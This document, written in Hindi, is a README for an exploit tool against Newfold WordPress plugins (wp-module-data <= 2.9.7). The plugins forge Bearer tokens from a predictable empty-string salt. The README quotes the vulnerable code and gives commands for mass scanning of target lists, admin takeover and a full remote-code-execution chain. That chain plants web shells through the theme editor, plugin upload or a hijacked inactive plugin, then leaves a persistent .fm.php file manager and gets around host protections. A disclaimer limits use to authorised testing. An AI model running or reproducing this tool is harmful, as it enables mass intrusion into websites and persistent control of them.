
Newfold प्लगइन्स (wp-module-data <= 2.9.7) अनधिकृत
Newfold WordPress प्लगइन्स को लक्षित करने वाला अनऑथेंटिकेटेड ऑथेंटिकेशन बायपास और RCE एक्सप्लॉइट जो wp-module-data को बंडल करते हैं।
यह टूल Newfold wp-module-data मॉड्यूल में Bearer टोकन सत्यापन दोष का शोषण करता है। जब किसी प्रभावित Newfold प्लगइन का उपयोग करने वाली WordPress साइट Hiive से कनेक्टेड नहीं होती है, तो HiiveConnection::get_auth_token() false लौटाता है। यह मान strrev() से गुजारा जाता है और फिर हैश किया जाता है, जिससे गुप्त सॉल्ट सार्वजनिक स्थिरांक में सिमट जाता है:
sha256("") = e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
चूंकि हैश किए गए पेलोड का हर अन्य घटक (HTTP विधि, अनुरोध URL, अनुरोध बॉडी, टाइमस्टैम्प) पूरी तरह से हमलावर-नियंत्रित है, एक वैध Bearer टोकन ऑफ़लाइन गणना किया जा सकता है। कमज़ोर फ़िल्टर rest_authentication_errors पर चलता है, इसलिए एक जाली टोकन कॉलर को पूरे WordPress REST API के लिए के रूप में प्रमाणित करता है, जिसमें कोर रूट्स भी शामिल हैं। उस पहुँच का उपयोग फिर पूर्ण रिमोट कोड एक्ज़ीक्यूशन में किया जाता है।
| प्लगइन / मॉड्यूल | प्रभावित संस्करण | पैच किया गया |
|---|---|---|
| wp-module-data | <= 2.9.7 | 2.9.8 |
| bluehost-wordpress-plugin | <= 4.19.0 | n/a |
| hostgator | <= 3.2.0 | n/a |
| web | <= 2.3.5 | n/a |
| crazy-domains | <= 2.5.2 | n/a |
डिटेक्शन WordPress.org प्लगइन स्लग wp-plugin-web और crazy_blog को भी कवर करता है।
vendor/newfold-labs/wp-module-data/includes/Data.php में:
public function authenticate( $errors ) { // hooked on rest_authentication_errors
...
$data = array(
'method' => $_SERVER['REQUEST_METHOD'],
'url' => Url::getCurrentUrl(),
'body' => file_get_contents( 'php://input' ),
'timestamp' => dataGet( getallheaders(), 'X-Timestamp' ),
);
$hash = hash( 'sha256', wp_json_encode( $data ) );
$salt = hash( 'sha256', strrev( HiiveConnection::get_auth_token() ) );
$is_valid = hash( 'sha256', $hash . $salt ) === $token;
if ( $is_valid ) {
... wp_set_current_user( <first administrator> ); return true;
}
}
एक अकनेक्टेड साइट पर, strrev(false) strrev('') में परिवर्तित हो जाता है जो '' देता है, और सॉल्ट खाली स्ट्रिंग का प्रसिद्ध हैश बन जाता है। हैश श्रृंखला में हर अन्य इनपुट हमलावर-नियंत्रित है, इसलिए टोकन पूरी तरह से पूर्वानुमेय है।
newfold-data/v1/verify/<hex> REST रूट के माध्यम से मॉड्यूल उपस्थिति डिटेक्शनGET /wp/v2/users/me को कॉल करके और भूमिकाओं का निरीक्षण करके बायपास का सत्यापन404.php / index.php में लेखन.fm.php फ़ाइल मैनेजरwp-login.php पर ModSecurity ब्लॉक्स को बायपास करता है) और क्लासिक wp-login.php फ़ॉर्म लॉगिनrequestsurllib3 (वैकल्पिक, केवल TLS चेतावनियों को दबाने के लिए)निर्भरताएँ इंस्टॉल करें:
pip install requests urllib3
रीड-ओनली डिटेक्शन और बायपास सत्यापन:
python3 exploit.py -u https://target.example
स्थायी शेल तक पूर्ण श्रृंखला:
python3 exploit.py -u https://target.example --mode rce
नया बनाने के बजाय पहले एडमिनिस्ट्रेटर का पासवर्ड रीसेट करें:
python3 exploit.py -u https://target.example --mode rce --takeover
लक्ष्यों की सूची में केवल-जाँच:
python3 exploit.py --list targets.txt
प्रत्येक कमज़ोर होस्ट पर पूर्ण श्रृंखला (स्पष्ट ऑप्ट-इन आवश्यक):
python3 exploit.py --list targets.txt --mode rce --apply-rce
REST API को छूने से पहले स्टैटिक एसेट प्रोब्स का उपयोग करके प्री-फ़िल्टर करें:
python3 exploit.py --list targets.txt --brand-filter
पहले N कमज़ोर होस्ट के बाद रोकें:
python3 exploit.py --list targets.txt --stop-after 5
पिछले रन को रिज़्यूम करें:
python3 exploit.py --list targets.txt --resume
| फ़्लैग | विवरण |
|---|---|
-u, --url | एकल लक्ष्य बेस URL |
--list | प्रति पंक्ति एक लक्ष्य URL वाली फ़ाइल |
--mode | check (केवल डिटेक्ट) या rce (पूर्ण श्रृंखला); डिफ़ॉल्ट check |
--takeover | नया एडमिन बनाने के बजाय पहले एडमिन का पासवर्ड रीसेट करें |
--output | मास मोड के लिए JSONL आउटपुट पथ; डिफ़ॉल्ट cve_2026_80099_results.jsonl |
--vuln-list | कमज़ोर होस्ट्स की बेयर URL सूची; डिफ़ॉल्ट vuln.txt |
--threads | मास मोड के लिए वर्कर संख्या; डिफ़ॉल्ट 20 |
--timeout | सेकंड में अनुरोध टाइमआउट; डिफ़ॉल्ट 15 |
--fast-timeout | सेकंड में फ़ास्ट प्रोब टाइमआउट; डिफ़ॉल्ट 6 |
--retries | प्रति अनुरोध पुनःप्रयास; डिफ़ॉल्ट 1 |
--proxy | HTTP(S) प्रॉक्सी URL |
--all-out | केवल कमज़ोर पंक्तियाँ नहीं, सभी मास पंक्तियाँ लिखें |
--apply-rce | मास मोड में कमज़ोर होस्ट्स पर RCE श्रृंखला चलाएँ |
--brand-filter | Newfold प्लगइन स्टैटिक एसेट्स का उपयोग करके प्री-फ़िल्टर करें |
--stop-after | N कमज़ोर होस्ट्स के बाद मास स्कैन रोकें; 0 का अर्थ सभी चलाएँ |
--quiet | प्रति-लक्ष्य प्रोग्रेस लाइनें अक्षम करें |
--resume | आउटपुट में जोड़ें और पहले से मौजूद लक्ष्यों को छोड़ें |
एक बार एडमिनिस्ट्रेटर संदर्भ की पुष्टि हो जाने के बाद, टूल क्रम में तीन तकनीकों का प्रयास करता है:
थीम एडिटर शेल — सक्रिय थीम के 404.php या index.php में एक छोटा PHP पेलोड लिखता है। पेलोड किसी भी गैर-मौजूद URL का अनुरोध करके (404.php के लिए) या साइट रूट का अनुरोध करके (index.php के लिए) ट्रिगर होता है।
प्लगइन अपलोड शेल — एक न्यूनतम प्लगइन वाली ZIP बनाता है, इसे wp-admin/update.php?action=upload-plugin के माध्यम से अपलोड करता है, और प्लगइन PHP फ़ाइल को सीधे एक्सेस करता है।
निष्क्रिय प्लगइन एडिटर श्रृंखला — REST API के माध्यम से प्लगइन्स की सूची बनाता है, एक निष्क्रिय प्लगइन चुनता है, plugin-editor.php के माध्यम से उसकी मुख्य फ़ाइल में एक cmd-shell लिखता है, इसे PUT /wp/v2/plugins/<slug> के माध्यम से सक्रिय करता है, किसी भी फ्रंटएंड URL पर शेल ट्रिगर करता है, वेबरूट में .fm.php डालता है, फिर प्लगइन को निष्क्रिय करता है और मूल फ़ाइल को पुनर्स्थापित करता है। यह पथ उन होस्ट्स से बचने के लिए डिज़ाइन किया गया है जो थीम एडिटर को ब्लॉक करते हैं, wp-content तक सीधी पहुँच को ब्लॉक करते हैं, या लूपबैक हेल्थ चेक के माध्यम से संपादनों को वापस लौटाते हैं।
सफलता पर, वेबरूट में एक स्थायी .fm.php फ़ाइल मैनेजर डाला जाता है। यह समर्थन करता है:
?cmd=<shell command>?cat=<path>?put=<path>&data=<base64>?ls=<path>cve_2026_80099_results.jsonl — प्रत्येक स्कैन किए गए लक्ष्य के लिए JSONL रिकॉर्ड। कमज़ोर प्रविष्टियों में vuln: true, admin, admin_id, और जब RCE सफल होता है, shell (डाले गए फ़ाइल मैनेजर या शेल का URL) शामिल होता है।vuln.txt — प्रत्येक कमज़ोर या शेल्ड लक्ष्य के लिए प्रति पंक्ति एक बेयर URL।trust_env = False के माध्यम से अनदेखा करता है ताकि स्थानीय प्रॉक्सी के माध्यम से मास स्कैन लीक न हो।Url::getCurrentUrl() व्यवहार से मेल खाता है। अनुरोध पहले तैयार किया जाता है और टोकन तैयार किए गए URL से प्राप्त किया जाता है।json_encode के डिफ़ॉल्ट व्यवहार को दोहराता है, जिसमें एस्केप्ड फ़ॉरवर्ड स्लैश, \uXXXX गैर-ASCII एस्केपिंग, और एस्ट्रल अक्षरों के लिए UTF-16 सरोगेट पेयर शामिल हैं, ताकि हैश किया गया पेलोड बाइट-दर-बाइट मेल खाए।401 लौटाने वाला विफल प्रोब आमतौर पर इसका मतलब है कि लक्ष्य पैच किया गया है (मॉड्यूल >= 2.9.8), साइट Hiive से कनेक्टेड है (वास्तविक टोकन, अज्ञात सॉल्ट), या कोई मध्यस्थ Authorization हेडर को हटा देता है। 403 आमतौर पर इंगित करता है कि कोई अन्य rest_authentication_errors फ़िल्टर हस्तक्षेप कर रहा है।यह टूल केवल अधिकृत सुरक्षा परीक्षण और अनुसंधान के लिए प्रदान किया गया है। इसका उपयोग विशेष रूप से उन सिस्टमों के विरुद्ध करें जिनका आप स्वामित्व रखते हैं या जिनका परीक्षण करने के लिए आपके पास स्पष्ट लिखित अनुमति है। अधिकांश क्षेत्राधिकारों में कंप्यूटर सिस्टमों तक अनधिकृत पहुँच अवैध है और इसके परिणामस्वरूप गंभीर दीवानी और आपराधिक दंड हो सकते हैं। लेखक इस सॉफ़्टवेयर के दुरुपयोग या क्षति के लिए कोई ज़िम्मेदारी नहीं लेता है।